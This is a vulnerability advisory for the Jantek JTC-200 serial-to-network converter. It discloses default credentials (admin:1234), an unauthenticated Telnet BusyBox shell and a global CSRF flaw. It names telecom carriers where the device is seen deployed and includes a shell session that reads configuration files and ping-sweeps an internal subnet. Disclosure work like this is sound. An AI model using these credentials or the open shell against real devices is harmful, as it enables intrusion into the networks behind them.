RS232-NET Converter (JTC-200) CSRF / Weak Credentials / Unauthenticated Access

`*RS232-NET Converter (JTC-200) - Multiple vulnerabilities*  
  
About RS232-NET Converter (model JTC-200)  
http://www.jantek.com.tw/en/product/73  
  
*Seen deployed in:*  
CHTD, Chunghwa Telecom Co., Ltd. (Taiwan)  
HiNet (Taiwan & China)  
PT Comunicacoes (Portugal)  
Sony Network Taiwan Limited (Taiwan)  
Vodafone Portugal (Portugal)  
  
*1. Weak Credential Management*  
The RS232-NET Converter (model JTC-200) web administration interface uses  
non-random default credentials of admin:1234. The application does not  
enforce a mandatory password change. A network-based attacker can gain  
privileged access to a vulnerable device's web management interfaces or  
leverage default credentials in remote attacks such as cross-site request  
forgery.  
  
*2. Unauthenticated access over Telnet (**Backdoor shell possibly**)*  
The RS232-NET Converter (model JTC-200) provides (undocumented) Busybox  
linux shell over Telnet service - without any authentication. This backdoor  
shell therefore (apparently) allows access in to the internal network, over  
the Internet.  
  
Trying IP...  
Connected to IP.  
Escape character is '^]'.  
  
BusyBox v0.60.4 (2008.02.21-16:59+0000) Built-in shell (msh)  
Enter 'help' for a list of built-in commands.  
  
#  
  
BusyBox v0.60.4 (2008.02.21-16:59+0000) multi-call binary  
Usage: busybox [function] [arguments]...  
or: [function] [arguments]...  
  
BusyBox is a multi-call binary that combines many common Unix utilities  
into a single executable. Most people will create a link to busybox for  
each function they wish to use, and BusyBox will act like whatever it was  
invoked as.  
  
Currently defined functions:  
[, busybox, cat, cp, df, hostname, ifconfig, init, kill, killall, ls,  
mkdir, mknod, mount, msh, mv, ping, ps, pwd, rm, sh, test, touch, vi  
  
#  
  
# ls  
bin dev etc nfs proc swap usb var  
# cd etc  
# ls  
ConfigPage WRConfig.ini config inetd.conf inittab ppp protocols rc  
resolv.conf services  
  
# cat inetd.conf  
telnet stream tcpnowait root /bin/telnetd  
#  
  
Busybox shell offers pretty restricted set of allowed functions but it is  
still possible to perform enumeration.  
  
192.168.5.x -> real IP  
  
# for i in `cat ip-list`; do ping 192.168.5.$i; done  
192.168.5.11 is alive!  
No response from 192.168.5.12  
No response from 192.168.5.13  
192.168.5.14 is alive!  
192.168.5.15 is alive!  
#  
  
*3. Cross-Site Request Forgery (CSRF)*  
The RS232-NET Converter (model JTC-200) contains a global CSRF  
vulnerability. An attacker can perform actions with the same permissions as  
a victim user, provided the victim has an active session and is induced to  
trigger the malicious request. Note that in combination with default  
credentials, an attacker can establish an active session as part of an  
attack and therefore would not require a victim to be logged in.  
  
+++++  
  
  
`